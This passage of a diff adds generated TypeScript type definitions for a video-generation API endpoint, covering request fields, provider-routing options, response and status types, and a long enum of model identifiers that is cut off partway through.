^gen-vid-\d+-[0-9A-Za-z]{20}$ + * @example gen-vid-1789493115-a1B2c3D4e5F6g7H8i9J0 + * @type string | undefined + */ + previous_job_id?: string + /** + * @description Text prompt describing the video to generate. Optional for models that support generating a video from image input alone; required by all other models. + * @example A serene mountain landscape at sunset + * @type string | undefined + */ + prompt?: string + /** + * @description Provider routing preferences (order, only, ignore) and provider-specific passthrough configuration Passthrough parameters allowed for this model: prompt_optimizer, fast_pretreatment. + * @type object | undefined + */ + provider?: { + /** + * @description List of provider slugs to ignore. If provided, this list is merged with your account-wide ignored provider settings for this request. + * @example ["openai","anthropic"] + * @type array | undefined + */ + ignore?: (ProviderNameKey | string)[] | null + /** + * @description List of provider slugs to allow. If provided, this list is merged with your account-wide allowed provider settings for this request. + * @example ["openai","anthropic"] + * @type array | undefined + */ + only?: (ProviderNameKey | string)[] | null + /** + * @description Provider-specific options keyed by provider slug. The provider segment is case-insensitive; an endpoint tag after `/` must match the endpoint slug exactly. Only options for the matched provider are forwarded; the rest are ignored. Unrecognized keys are silently dropped. + * @example {"google-vertex":{"output_config":{"effort":"low"}}} + * @type object | undefined + */ + options?: ProviderOptions + /** + * @description An ordered list of provider slugs. The router will attempt to use the first provider in the subset of this list that supports your requested model, and fall back to the next if it is unavailable. If no providers are available, the request will fail with an error message. + * @example ["openai","anthropic"] + * @type array | undefined + */ + order?: (ProviderNameKey | string)[] | null + } + /** + * @description Resolution of the generated video + * @example 720p + * @type string | undefined + */ + resolution?: '1080p' + /** + * @description A unique identifier for grouping related requests (e.g., a conversation or agent workflow). Used for observability grouping in Broadcast and private logging; never sent to the provider. If provided in both the request body and the x-session-id header, the body value takes precedence. Maximum of 256 characters. + * @maxLength 256 + * @example session-1234 + * @type string | undefined + */ + session_id?: string + /** + * @description Exact pixel dimensions of the generated video in "WIDTHxHEIGHT" format (e.g. "1280x720"). Interchangeable with resolution + aspect_ratio. + * @example 1280x720 + * @type string | undefined + */ + size?: '1920x1080' + /** + * @description Metadata for observability and tracing. Known keys (trace_id, trace_name, span_name, generation_name, parent_span_id) have special handling. Additional keys are passed through as custom metadata to configured broadcast destinations. + * @example {"trace_id":"trace-abc123","trace_name":"my-app-trace"} + * @type object | undefined + */ + trace?: TraceConfig + /** + * @description Upscale factor for video upscaling models only. This parameter is not supported by video generation models. + * + * Format: `double` + * @minimum 0 + * @example 2 + * @type number | undefined + */ + upscale_factor?: number + /** + * @description A unique identifier representing your end-user. Forwarded to Broadcast and private logging as the end-user id; never sent to the provider. + * @maxLength 256 + * @example user-1234 + * @type string | undefined + */ + user?: string +} + +export type OpenrouterPostVideosMinimaxHailuo23Options = { + body: OpenrouterPostVideosMinimaxHailuo23Body + path?: never + query?: never + headers?: never +} + +export type OpenrouterPostVideosMinimaxHailuo23Responses = { + '200': OpenrouterPostVideosMinimaxHailuo23Status200 +} + +/** + * @description Union of all possible responses + */ +export type OpenrouterPostVideosMinimaxHailuo23Response = + OpenrouterPostVideosMinimaxHailuo23Status200 + +export const openrouterPostVideosMinimaxHailuo3Status200StatusEnum = { + pending: 'pending', + in_progress: 'in_progress', + completed: 'completed', + failed: 'failed', + cancelled: 'cancelled', + expired: 'expired', +} as const + +export type OpenrouterPostVideosMinimaxHailuo3Status200StatusEnumKey = + (typeof openrouterPostVideosMinimaxHailuo3Status200StatusEnum)[keyof typeof openrouterPostVideosMinimaxHailuo3Status200StatusEnum] + +/** + * @example {"generation_id":"gen-vid-1789480874-Ab3dEf9hIjKlMnOpQrSt","id":"gen-vid-1789480874-Ab3dEf9hIjKlMnOpQrSt","polling_url":"/api/v1/videos/gen-vid-1789480874-Ab3dEf9hIjKlMnOpQrSt","status":"pending"} + * @type object + */ +export type OpenrouterPostVideosMinimaxHailuo3Status200 = { + error?: string + /** + * @description Unix timestamp in seconds when OpenRouter's stored copy of the outputs stops being available. Present only when that copy exists. + * @type integer | undefined + */ + expires_at?: number + /** + * @description The generation ID associated with this video generation job. Available once the job has been processed. + * @type string | undefined + */ + generation_id?: string + /** + * @description The video job ID, in the `gen-vid--<20 alphanumerics>` generation ID format. Pass it as `previous_job_id` to continue the generation. + * @type string + */ + id: string + polling_url: string + status: OpenrouterPostVideosMinimaxHailuo3Status200StatusEnumKey + /** + * @description OpenRouter content URLs for each output. They need your API key in the `Authorization` header and keep working for as long as the output is available. + * @type array | undefined + */ + unsigned_urls?: string[] + /** + * @description Signed download URLs for OpenRouter's stored copy of each output, usable without an API key until `expires_at`. Anyone holding a URL can download that output until it expires, so treat it like a secret. Present only when the stored copy exists. + * @type array | undefined + */ + urls?: string[] + /** + * @description Usage and cost information for the video generation. Available once the job has completed. + * @example {"cost":0.5,"is_byok":false} + * @type object | undefined + */ + usage?: VideoGenerationUsage +} + +export const openrouterPostVideosMinimaxHailuo3RequestAspectRatioEnum = { + '21:9': '21:9', + '16:9': '16:9', + '4:3': '4:3', + '1:1': '1:1', + '3:4': '3:4', + '9:16': '9:16', +} as const + +export type OpenrouterPostVideosMinimaxHailuo3RequestAspectRatioEnumKey = + (typeof openrouterPostVideosMinimaxHailuo3RequestAspectRatioEnum)[keyof typeof openrouterPostVideosMinimaxHailuo3RequestAspectRatioEnum] + +export const openrouterPostVideosMinimaxHailuo3RequestDurationEnum = { + '5': 5, + '6': 6, + '7': 7, + '8': 8, + '9': 9, + '10': 10, + '11': 11, + '12': 12, + '13': 13, + '14': 14, + '15': 15, +} as const + +export type OpenrouterPostVideosMinimaxHailuo3RequestDurationEnumKey = + (typeof openrouterPostVideosMinimaxHailuo3RequestDurationEnum)[keyof typeof openrouterPostVideosMinimaxHailuo3RequestDurationEnum] + +export const openrouterPostVideosMinimaxHailuo3RequestModelEnum = { + 'aion-labs/aion-2.0': 'aion-labs/aion-2.0', + 'aion-labs/aion-3.0': 'aion-labs/aion-3.0', + 'aion-labs/aion-3.0-mini': 'aion-labs/aion-3.0-mini', + 'aion-labs/aion-3.5': 'aion-labs/aion-3.5', + 'aion-labs/aion-3.5-mini': 'aion-labs/aion-3.5-mini', + 'aion-labs/aion-rp-llama-3.1-8b': 'aion-labs/aion-rp-llama-3.1-8b', + 'amazon/nova-2-lite-v1': 'amazon/nova-2-lite-v1', + 'amazon/nova-lite-v1': 'amazon/nova-lite-v1', + 'amazon/nova-micro-v1': 'amazon/nova-micro-v1', + 'amazon/nova-premier-v1': 'amazon/nova-premier-v1', + 'amazon/nova-pro-v1': 'amazon/nova-pro-v1', + 'anthracite-org/magnum-v4-72b': 'anthracite-org/magnum-v4-72b', + 'anthropic/claude-fable-5': 'anthropic/claude-fable-5', + 'anthropic/claude-fable-5.1': 'anthropic/claude-fable-5.1', + 'anthropic/claude-fable-5.1:batch': 'anthropic/claude-fable-5.1:batch', + 'anthropic/claude-fable-5:batch': 'anthropic/claude-fable-5:batch', + '~anthropic/claude-fable-latest': '~anthropic/claude-fable-latest', + 'anthropic/claude-haiku-4.5': 'anthropic/claude-haiku-4.5', + 'anthropic/claude-haiku-4.5:batch': 'anthropic/claude-haiku-4.5:batch', + 'anthropic/claude-haiku-5.5': 'anthropic/claude-haiku-5.5', + 'anthropic/claude-haiku-5.5:batch': 'anthropic/claude-haiku-5.5:batch', + '~anthropic/claude-haiku-latest': '~anthropic/claude-haiku-latest', + 'anthropic/claude-opus-4.1': 'anthropic/claude-opus-4.1', + 'anthropic/claude-opus-4.1:batch': 'anthropic/claude-opus-4.1:batch', + 'anthropic/claude-opus-4.5': 'anthropic/claude-opus-4.5', + 'anthropic/claude-opus-4.5:batch': 'anthropic/claude-opus-4.5:batch', + 'anthropic/claude-opus-4.6': 'anthropic/claude-opus-4.6', + 'anthropic/claude-opus-4.6:batch': 'anthropic/claude-opus-4.6:batch', + 'anthropic/claude-opus-4.7': 'anthropic/claude-opus-4.7', + 'anthropic/claude-opus-4.7:batch': 'anthropic/claude-opus-4.7:batch', + 'anthropic/claude-opus-4.8': 'anthropic/claude-opus-4.8', + 'anthropic/claude-opus-4.8:batch': 'anthropic/claude-opus-4.8:batch', + 'anthropic/claude-opus-5': 'anthropic/claude-opus-5', + 'anthropic/claude-opus-5.5': 'anthropic/claude-opus-5.5', + 'anthropic/claude-opus-5.5:batch': 'anthropic/claude-opus-5.5:batch', + 'anthropic/claude-opus-5:batch': 'anthropic/claude-opus-5:batch', + '~anthropic/claude-opus-latest': '~anthropic/claude-opus-latest', + 'anthropic/claude-sonnet-4.5': 'anthropic/claude-sonnet-4.5', + 'anthropic/claude-sonnet-4.5:batch': 'anthropic/claude-sonnet-4.5:batch', + 'anthropic/claude-sonnet-4.6': 'anthropic/claude-sonnet-4.6', + 'anthropic/claude-sonnet-4.6:batch': 'anthropic/claude-sonnet-4.6:batch', + 'anthropic/claude-sonnet-5': 'anthropic/claude-sonnet-5', + 'anthropic/claude-sonnet-5.5': 'anthropic/claude-sonnet-5.5', + 'anthropic/claude-sonnet-5.5:batch': 'anthropic/claude-sonnet-5.5:batch', + 'anthropic/claude-sonnet-5:batch': 'anthropic/claude-sonnet-5:batch', + '~anthropic/claude-sonnet-latest': '~anthropic/claude-sonnet-latest', + 'bytedance-seed/seed-1.6': 'bytedance-seed/seed-1.6', + 'bytedance-seed/seed-1.6-flash': 'bytedance-seed/seed-1.6-flash', + 'bytedance-seed/seed-2.0-code': 'bytedance-seed/seed-2.0-code', + 'bytedance-seed/seed-2.0-lite': 'bytedance-seed/seed-2.0-lite', + 'bytedance-seed/seed-2.0-mini': 'bytedance-seed/seed-2.0-mini', + 'bytedance-seed/seed-2-1-turbo': 'bytedance-seed/seed-2-1-turbo', + 'bytedance/ui-tars-1.5-7b': 'bytedance/ui-tars-1.5-7b', + 'cognitivecomputations/dolphin-mistral-24b-venice-edition': + 'cognitivecomputations/dolphin-mistral-24b-venice-edition', + 'cohere/command-a': 'cohere/command-a', + 'cohere/command-a-plus': 'cohere/command-a-plus', + 'cohere/command-r-08-2024': 'cohere/command-r-08-2024', + 'cohere/command-r-plus-08-2024': 'cohere/command-r-plus-08-2024', + 'cohere/command-r7b-12-2024': 'cohere/command-r7b-12-2024', + 'cohere/north-mini-code:free': 'cohere/north-mini-code:free', + 'deepseek/deepseek-chat': 'deepseek/deepseek-chat', + 'deepseek/deepseek-chat-v3-0324': 'deepseek/deepseek-chat-v3-0324', + 'deepseek/deepseek-chat-v3.1': 'deepseek/deepseek-chat-v3.1', + '~deepseek/deepseek-flash-latest': '~deepseek/deepseek-flash-latest', + '~deepseek/deepseek-pro-latest': '~deepseek/deepseek-pro-latest', + 'deepseek/deepseek-r1-0528': 'deepseek/deepseek-r1-0528', + 'deepseek/deepseek-v3.1-terminus': 'deepseek/deepseek-v3.1-terminus', + 'deepseek/deepseek-v3.2': 'deepseek/deepseek-v3.2', + 'deepseek/deepseek-v3.2-exp': 'deepseek/deepseek-v3.2-exp', + 'deepseek/deepseek-v4.1-flash': 'deepseek/deepseek-v4.1-flash', + 'deepseek/deepseek-v4.1-flash-1017': 'deepseek/deepseek-v4.1-flash-1017', + 'deepseek/deepseek-v4.1-flash-1017:batch': + 'deepseek/deepseek-v4.1-flash-1017:batch', + 'deepseek/deepseek-v4.1-flash:batch': 'deepseek/deepseek-v4.1-flash:batch', + 'deepseek/deepseek-v4-flash': 'deepseek/deepseek-v4-flash', + 'deepseek/deepseek-v4-flash-0731': 'deepseek/deepseek-v4-flash-0731', + 'deepseek/deepseek-v4-flash-0731:batch': + 'deepseek/deepseek-v4-flash-0731:batch', + '~deepseek/deepseek-v4-flash-latest': '~deepseek/deepseek-v4-flash-latest', + 'deepseek/deepseek-v4-flash-vision-exp': + 'deepseek/deepseek-v4-flash-vision-exp', + 'deepseek/deepseek-v4-pro': 'deepseek/deepseek-v4-pro', + 'deepseek/deepseek-v4-pro-0813': 'deepseek/deepseek-v4-pro-0813', + 'dots-studio/dots-3-note-preview:free': + 'dots-studio/dots-3-note-preview:free', + 'elorian/glimpse': 'elorian/glimpse', + 'fireworks/ember-1': 'fireworks/ember-1', + 'google/gemini-2.5-flash': 'google/gemini-2.5-flash', + 'google/gemini-2.5-flash-image': 'google/gemini-2.5-flash-image', + 'google/gemini-2.5-flash-lite': 'google/gemini-2.5-flash-lite', + 'google/gemini-2.5-pro': 'google/gemini-2.5-pro', + 'google/gemini-2.5-pro-preview': 'google/gemini-2.5-pro-preview', + 'google/gemini-3.1-flash-image': 'google/gemini-3.1-flash-image', + 'google/gemini-3.1-flash-image-preview': + 'google/gemini-3.1-flash-image-preview', + 'google/gemini-3.1-flash-lite': 'google/gemini-3.1-flash-lite', + 'google/gemini-3.1-flash-lite:batch': 'google/gemini-3.1-flash-lite:batch', + 'google/gemini-3.1-flash-lite-image': 'google/gemini-3.1-flash-lite-image', + 'google/gemini-3.1-flash-lite-preview': + 'google/gemini-3.1-flash-lite-preview', + 'google/gemini-3.1-pro-preview': 'google/gemini-3.1-pro-preview', + 'google/gemini-3.1-pro-preview:batch': 'google/gemini-3.1-pro-preview:batch', + 'google/gemini-3.1-pro-preview-customtools': + 'google/gemini-3.1-pro-preview-customtools', + 'google/gemini-3.5-flash': 'google/gemini-3.5-flash', + 'google/gemini-3.5-flash:batch': 'google/gemini-3.5-flash:batch', + 'google/gemini-3.5-flash-lite': 'google/gemini-3.5-flash-lite', + 'google/gemini-3.5-flash-lite:batch': 'google/gemini-3.5-flash-lite:batch', + 'google/gemini-3.6-flash': 'google/gemini-3.6-flash', + 'google/gemini-3.6-flash:batch': 'google/gemini-3.6-flash:batch', + 'google/gemini-3.7-flash': 'google/gemini-3.7-flash', + 'google/gemini-3.7-flash:batch': 'google/gemini-3.7-flash:batch', + 'google/gemini-3.8-flash': 'google/gemini-3.8-flash', + 'google/gemini-3.8-flash:batch': 'google/gemini-3.8-flash:batch', + 'google/gemini-3-flash-preview': 'google/gemini-3-flash-preview', + 'google/gemini-3-flash-preview:batch': 'google/gemini-3-flash-preview:batch', + 'google/gemini-3-pro-image': 'google/gemini-3-pro-image', + 'google/gemini-3-pro-image-preview': 'google/gemini-3-pro-image-preview', + 'google/gemini-4-argon': 'google/gemini-4-argon', + 'google/gemini-4-argon:batch': 'google/gemini-4-argon:batch', + '~google/gemini-flash-latest': '~google/gemini-flash-latest', + 'google/gemini-nano-banana-2.1': 'google/gemini-nano-banana-2.1', + 'google/gemini-omni-1.1-flash': 'google/gemini-omni-1.1-flash', + 'google/gemini-omni-1.2-flash': 'google/gemini-omni-1.2-flash', + '~google/gemini-pro-latest': '~google/gemini-pro-latest', + 'google/gemma-2-27b-it': 'google/gemma-2-27b-it', + 'google/gemma-3-12b-it': 'google/gemma-3-12b-it', + 'google/gemma-3-27b-it': 'google/gemma-3-27b-it', + 'google/gemma-3-4b-it': 'google/gemma-3-4b-it', + 'google/gemma-4-26b-a4b-it': 'google/gemma-4-26b-a4b-it', + 'google/gemma-4-26b-a4b-it:free': 'google/gemma-4-26b-a4b-it:free', + 'google/gemma-4-31b-it': 'google/gemma-4-31b-it', + 'google/gemma-4-31b-it:free': 'google/gemma-4-31b-it:free', + 'google/lyria-3-clip-preview': 'google/lyria-3-clip-preview', + 'google/lyria-3-pro-preview': 'google/lyria-3-pro-preview', + 'gryphe/mythomax-l2-13b': 'gryphe/mythomax-l2-13b', + 'ibm-granite/granite-4.2-8b': 'ibm-granite/granite-4.2-8b', + 'inclusionai/ling-3.0-flash': 'inclusionai/ling-3.0-flash', + 'inclusionai/ling-3.0-flash-vl': 'inclusionai/ling-3.0-flash-vl', + 'inclusionai/ling-3.0-tiny': 'inclusionai/ling-3.0-tiny', + 'inclusionai/ling-3.1-flash': 'inclusionai/ling-3.1-flash', + 'inference-net/schematron-v2-small': 'inference-net/schematron-v2-small', + 'inference-net/schematron-v2-turbo': 'inference-net/schematron-v2-turbo', + 'liquid/lfm-2.5-2.6b': 'liquid/lfm-2.5-2.6b', + 'liquid/lfm-2.5-2.6b:free': 'liquid/lfm-2.5-2.6b:free', + 'liquid/lfm-2.5-24b-a2b': 'liquid/lfm-2.5-24b-a2b', + 'liquid/lfm-3-1.7b': 'liquid/lfm-3-1.7b', + 'liquid/lfm-3-1.7b:free': 'liquid/lfm-3-1.7b:free', + 'mancer/weaver': 'mancer/weaver', + 'meituan/longcat-2.0': 'meituan/longcat-2.0', + 'meta-llama/llama-3.1-70b-instruct': 'meta-llama/llama-3.1-70b-instruct', + 'meta-llama/llama-3.1-8b-instruct': 'meta-llama/llama-3.1-8b-instruct', + 'meta-llama/llama-3.2-1b-instruct': 'meta-llama/llama-3.2-1b-instruct', + 'meta-llama/llama-3.2-3b-instruct': 'meta-llama/llama-3.2-3b-instruct', + 'meta-llama/llama-3.3-70b-instruct': 'meta-llama/llama-3.3-70b-instruct', + 'meta-llama/llama-4-maverick': 'meta-llama/llama-4-maverick', + 'meta-llama/llama-4-scout': 'meta-llama/llama-4-scout', + 'meta-llama/llama-guard-4-12b': 'meta-llama/llama-guard-4-12b', + 'meta/muse-glimmer-30b': 'meta/muse-glimmer-30b', + 'meta/muse-glimmer-30b:batch': 'meta/muse-glimmer-30b:batch', + 'meta/muse-spark-1.1': 'meta/muse-spark-1.1', + 'meta/muse-spark-1.2': 'meta/muse-spark-1.2', + 'meta/muse-spark-1.2-contributor': 'meta/muse-spark-1.2-contributor', + 'meta/muse-spark-1.3': 'meta/muse-spark-1.3', + 'meta/muse-spark-1.3-contributor': 'meta/muse-spark-1.3-contributor', + 'meta/muse-spark-open': 'meta/muse-spark-open', + 'meta/muse-wonder': 'meta/muse-wonder', + 'microsoft/phi-4': 'microsoft/phi-4', + 'minimax/minimax-m1': 'minimax/minimax-m1', + 'minimax/minimax-m2.5': 'minimax/minimax-m2.5', + 'minimax/minimax-m2.7': 'minimax/minimax-m2.7', + 'minimax/minimax-m3': 'minimax/minimax-m3', + 'minimax/minimax-m3.1-flash': 'minimax/minimax-m3.1-flash', + 'minimax/minimax-m3:batch': 'minimax/minimax-m3:batch', + 'mistralai/codestral-2508': 'mistralai/codestral-2508', + 'mistralai/devstral-2512': 'mistralai/devstral-2512', + 'mistralai/ministral-14b-2512': 'mistralai/ministral-14b-2512', + 'mistralai/ministral-3b-2512': 'mistralai/ministral-3b-2512', + 'mistralai/ministral-8b-2512': 'mistralai/ministral-8b-2512', + 'mistralai/mistral-large': 'mistralai/mistral-large', + 'mistralai/mistral-large-2407': 'mistralai/mistral-large-2407', + 'mistralai/mistral-large-2512': 'mistralai/mistral-large-2512', + 'mistralai/mistral-large-4-0': 'mistralai/mistral-large-4-0', + 'mistralai/mistral-medium-3': 'mistralai/mistral-medium-3', + 'mistralai/mistral-medium-3.1': 'mistralai/mistral-medium-3.1', + 'mistralai/mistral-medium-3-5': 'mistralai/mistral-medium-3-5', + 'mistralai/mistral-medium-3-5:batch': 'mistralai/mistral-medium-3-5:batch', + 'mistralai/mistral-nemo': 'mistralai/mistral-nemo', + 'mistralai/mistral-saba': 'mistralai/mistral-saba', + 'mistralai/mistral-small-24b-instruct-2501': + 'mistralai/mistral-small-24b-instruct-2501', + 'mistralai/mistral-small-2603': 'mistralai/mistral-small-2603', + 'mistralai/mistral-small-3.1-24b-instruct': + 'mistralai/mistral-small-3.1-24b-instruct', + 'mistralai/mistral-small-3.2-24b-instruct': + 'mistralai/mistral-small-3.2-24b-instruct', + 'mistralai/mixtral-8x22b-instruct': 'mistralai/mixtral-8x22b-instruct', + 'mistralai/voxtral-small-24b-2507': 'mistralai/voxtral-small-24b-2507', + 'moondream/moondream3.1-9b-a2b': 'moondream/moondream3.1-9b-a2b', + 'moondream/moondream3-preview': 'moondream/moondream3-preview', + 'moonshotai/kimi-k2': 'moonshotai/kimi-k2', + 'moonshotai/kimi-k2-0905': 'moonshotai/kimi-k2-0905', + 'moonshotai/kimi-k2.5': 'moonshotai/kimi-k2.5', + 'moonshotai/kimi-k2.6': 'moonshotai/kimi-k2.6', + 'moonshotai/kimi-k2.7-code': 'moonshotai/kimi-k2.7-code', + 'moonshotai/kimi-k2-thinking': 'moonshotai/kimi-k2-thinking', + 'moonshotai/kimi-k3': 'moonshotai/kimi-k3', + 'moonshotai/kimi-k3.1-pro': 'moonshotai/kimi-k3.1-pro', + 'moonshotai/kimi-k3:batch': 'moonshotai/kimi-k3:batch', + '~moonshotai/kimi-latest': '~moonshotai/kimi-latest', + 'morph/morph-v3-fast': 'morph/morph-v3-fast', + 'morph/morph-v3-fast:batch': 'morph/morph-v3-fast:batch', + 'morph/morph-v3-large': 'morph/morph-v3-large', + 'morph/morph-v3-large:batch': 'morph/morph-v3-large:batch', + 'nex-agi/nex-n2.5-mini': 'nex-agi/nex-n2.5-mini', + 'nex-agi/nex-n2.5-pro': 'nex-agi/nex-n2.5-pro', + 'nousresearch/hermes-4-405b': 'nousresearch/hermes-4-405b', + 'nvidia/nemotron-3.5-content-safety': 'nvidia/nemotron-3.5-content-safety', + 'nvidia/nemotron-3.5-lightning': 'nvidia/nemotron-3.5-lightning', + 'nvidia/nemotron-3.5-lightning:free': 'nvidia/nemotron-3.5-lightning:free', + 'nvidia/nemotron-3.5-super-vl': 'nvidia/nemotron-3.5-super-vl', + 'nvidia/nemotron-3.5-super-vl:free': 'nvidia/nemotron-3.5-super-vl:free', + 'nvidia/nemotron-3-nano-30b-a3b': 'nvidia/nemotron-3-nano-30b-a3b', + 'nvidia/nemotron-3-nano-omni-30b-a3b-reasoning:free': + 'nvidia/nemotron-3-nano-omni-30b-a3b-reasoning:free', + 'nvidia/nemotron-3-super-120b-a12b': 'nvidia/nemotron-3-super-120b-a12b', + 'nvidia/nemotron-3-ultra-550b-a55b': 'nvidia/nemotron-3-ultra-550b-a55b', + 'nvidia/nemotron-3-ultra-550b-a55b:free': + 'nvidia/nemotron-3-ultra-550b-a55b:free', + 'nvidia/switchyard': 'nvidia/switchyard', + 'openai/gpt-3.5-turbo-0613': 'openai/gpt-3.5-turbo-0613', + 'openai/gpt-3.5-turbo-16k': 'openai/gpt-3.5-turbo-16k', + 'openai/gpt-4': 'openai/gpt-4', + 'openai/gpt-4.1': 'openai/gpt-4.1', + 'openai/gpt-4.1:batch': 'openai/gpt-4.1:batch', + 'openai/gpt-4.1-mini': 'openai/gpt-4.1-mini', + 'openai/gpt-4.1-mini:batch': 'openai/gpt-4.1-mini:batch', + 'openai/gpt-4.1-nano': 'openai/gpt-4.1-nano', + 'openai/gpt-4.1-nano:batch': 'openai/gpt-4.1-nano:batch', + 'openai/gpt-4-turbo:batch': 'openai/gpt-4-turbo:batch', + 'openai/gpt-4o': 'openai/gpt-4o', + 'openai/gpt-4o-2024-05-13': 'openai/gpt-4o-2024-05-13', + 'openai/gpt-4o-2024-08-06': 'openai/gpt-4o-2024-08-06', + 'openai/gpt-4o-2024-11-20': 'openai/gpt-4o-2024-11-20', + 'openai/gpt-4o:batch': 'openai/gpt-4o:batch', + 'openai/gpt-4o-mini': 'openai/gpt-4o-mini', + 'openai/gpt-4o-mini-2024-07-18': 'openai/gpt-4o-mini-2024-07-18', + 'openai/gpt-4o-mini:batch': 'openai/gpt-4o-mini:batch', + 'openai/gpt-5': 'openai/gpt-5', + 'openai/gpt-5.1': 'openai/gpt-5.1', + 'openai/gpt-5.1:batch': 'openai/gpt-5.1:batch', + 'openai/gpt-5.1-codex': 'openai/gpt-5.1-codex', + 'openai/gpt-5.1-codex-max': 'openai/gpt-5.1-codex-max', + 'openai/gpt-5.1-codex-mini': 'openai/gpt-5.1-codex-mini', + 'openai/gpt-5.2': 'openai/gpt-5.2', + 'openai/gpt-5.2:batch': 'openai/gpt-5.2:batch', + 'openai/gpt-5.2-chat': 'openai/gpt-5.2-chat', + 'openai/gpt-5.2-codex': 'openai/gpt-5.2-codex', + 'openai/gpt-5.2-pro': 'openai/gpt-5.2-pro', + 'openai/gpt-5.2-pro:batch': 'openai/gpt-5.2-pro:batch', + 'openai/gpt-5.3-codex': 'openai/gpt-5.3-codex', + 'openai/gpt-5.4': 'openai/gpt-5.4', + 'openai/gpt-5.4:batch': 'openai/gpt-5.4:batch', + 'openai/gpt-5.4-image-2': 'openai/gpt-5.4-image-2', + 'openai/gpt-5.4-mini': 'openai/gpt-5.4-mini', + 'openai/gpt-5.4-mini:batch': 'openai/gpt-5.4-mini:batch', + 'openai/gpt-5.4-nano': 'openai/gpt-5.4-nano', + 'openai/gpt-5.4-nano:batch': 'openai/gpt-5.4-nano:batch', + 'openai/gpt-5.4-pro': 'openai/gpt-5.4-pro', + 'openai/gpt-5.4-pro:batch': 'openai/gpt-5.4-pro:batch', + 'openai/gpt-5.5': 'openai/gpt-5.5', + 'openai/gpt-5.5:batch': 'openai/gpt-5.5:batch', + 'openai/gpt-5.5-pro': 'openai/gpt-5.5-pro', + 'openai/gpt-5.5-pro:batch': 'openai/gpt-5.5-pro:batch', + 'openai/gpt-5.6-luna': 'openai/gpt-5.6-luna', + 'openai/gpt-5.6-luna:batch': 'openai/gpt-5.6-luna:batch', + 'openai/gpt-5.6-luna-pro': 'openai/gpt-5.6-luna-pro', + 'openai/gpt-5.6-luna-pro:batch': 'openai/gpt-5.6-luna-pro:batch', + 'openai/gpt-5.6-sol': 'openai/gpt-5.6-sol', + 'openai/gpt-5.6-sol:batch': 'openai/gpt-5.6-sol:batch', + 'openai/gpt-5.6-sol-pro': 'openai/gpt-5.6-sol-pro', + 'openai/gpt-5.6-sol-pro:batch': 'openai/gpt-5.6-sol-pro:batch', + 'openai/gpt-5.6-terra': 'openai/gpt-5.6-terra', + 'openai/gpt-5.6-terra:batch': 'openai/gpt-5.6-terra:batch', + 'openai/gpt-5.6-terra-pro': 'openai/gpt-5.6-terra-pro', + 'openai/gpt-5.6-terra-pro:batch': 'openai/gpt-5.6-terra-pro:batch', + 'openai/gpt-5:batch': 'openai/gpt-5:batch', + 'openai/gpt-5-image': 'openai/gpt-5-image', + 'openai/gpt-5-image-mini': 'openai/gpt-5-image-mini', + 'openai/gpt-5-mini': 'openai/gpt-5-mini', + 'openai/gpt-5-mini:batch': 'openai/gpt-5-mini:batch', + 'openai/gpt-5-nano': 'openai/gpt-5-nano', + 'openai/gpt-5-nano:batch': 'openai/gpt-5-nano:batch', + 'openai/gpt-5-pro': 'openai/gpt-5-pro', + 'openai/gpt-5-pro:batch': 'openai/gpt-5-pro:batch', + 'openai/gpt-6.1-sol': 'openai/gpt-6.1-sol', + 'openai/gpt-6.1-sol:batch': 'openai/gpt-6.1-sol:batch', + 'openai/gpt-6.1-sol-pro': 'openai/gpt-6.1-sol-pro', + 'openai/gpt-6.1-sol-pro:batch': 'openai/gpt-6.1-sol-pro:batch', + 'openai/gpt-6.1-terra': 'openai/gpt-6.1-terra', + 'openai/gpt-6.1-terra:batch': 'openai/gpt-6.1-terra:batch', + 'openai/gpt-6.1-terra-pro': 'openai/gpt-6.1-terra-pro', + 'openai/gpt-6.1-terra-pro:batch': 'openai/gpt-6.1-terra-pro:batch', + 'openai/gpt-6-astra': 'openai/gpt-6-astra', + 'openai/gpt-6-astra:batch': 'openai/gpt-6-astra:batch', + 'openai/gpt-6-astra-pro': 'openai/gpt-6-astra-pro', + 'openai/gpt-6-astra-pro:batch': 'openai/gpt-6-astra-pro:batch', + 'openai/gpt-6-luna': 'openai/gpt-6-luna', + 'openai/gpt-6-luna:batch': 'openai/gpt-6-luna:batch', + 'openai/gpt-6-luna-pro': 'openai/gpt-6-luna-pro', + 'openai/gpt-6-luna-pro:batch': 'openai/gpt-6-luna-pro:batch', + 'openai/gpt-6-sol': 'openai/gpt-6-sol', + 'openai/gpt-6-sol:batch': 'openai/gpt-6-sol:batch', + 'openai/gpt-6-sol-pro': 'openai/gpt-6-sol-pro', + 'openai/gpt-6-sol-pro:batch': 'openai/gpt-6-sol-pro:batch', + '~openai/gpt-astra-latest': '~openai/gpt-astra-latest', + 'openai/gpt-audio': 'openai/gpt-audio', + 'openai/gpt-audio-mini': 'openai/gpt-audio-mini', + 'openai/gpt-chat-latest': 'openai/gpt-chat-latest', + '~openai/gpt-luna-latest': '~openai/gpt-luna-latest', + '~openai/gpt-mini-latest': '~openai/gpt-mini-latest', + 'openai/gpt-oss-120b': 'openai/gpt-oss-120b', + 'openai/gpt-oss-120b:batch': 'openai/gpt-oss-120b:batch', + 'openai/gpt-oss-20b': 'openai/gpt-oss-20b', + 'openai/gpt-oss-20b:batch': 'openai/gpt-oss-20b:batch', + 'openai/gpt-oss-safeguard-20b': 'openai/gpt-oss-safeguard-20b', + '~openai/gpt-sol-latest': '~openai/gpt-sol-latest', + '~openai/gpt-terra-latest': '~openai/gpt-terra-latest', + 'openai/o3': 'openai/o3', + 'openai/o3:batch': 'openai/o3:batch', + 'openai/o3-mini:batch': 'openai/o3-mini:batch', + 'openai/o3-pro': 'openai/o3-pro', + 'openai/o4-mini:batch': 'openai/o4-mini:batch', + 'openrouter/auto': 'openrouter/auto', + 'openrouter/auto-beta': 'openrouter/auto-beta', + 'openrouter/auto-code': 'openrouter/auto-code', + 'openrouter/bodybuilder': 'openrouter/bodybuilder', + 'openrouter/free': 'openrouter/free', + 'openrouter/fusion': 'openrouter/fusion', + 'openrouter/pareto-code': 'openrouter/pareto-code', + 'particle-ai/particle-1': 'particle-ai/particle-1', + 'perceptron/perceptron-mk1': 'perceptron/perceptron-mk1', + 'perceptron/perceptron-mk1.5': 'perceptron/perceptron-mk1.5', + 'perplexity/sonar': 'perplexity/sonar', + 'perplexity/sonar-deep-research': 'perplexity/sonar-deep-research', + 'perplexity/sonar-pro': 'perplexity/sonar-pro', + 'perplexity/sonar-pro-search': 'perplexity/sonar-pro-search', + 'perplexity/sonar-reasoning-pro': 'perplexity/sonar-reasoning-pro', + 'prism-ml/ternary-bonsai-2-27b': 'prism-ml/ternary-bonsai-2-27b', + 'prism-ml/ternary-bonsai-2-9b': 'prism-ml/ternary-bonsai-2-9b', + 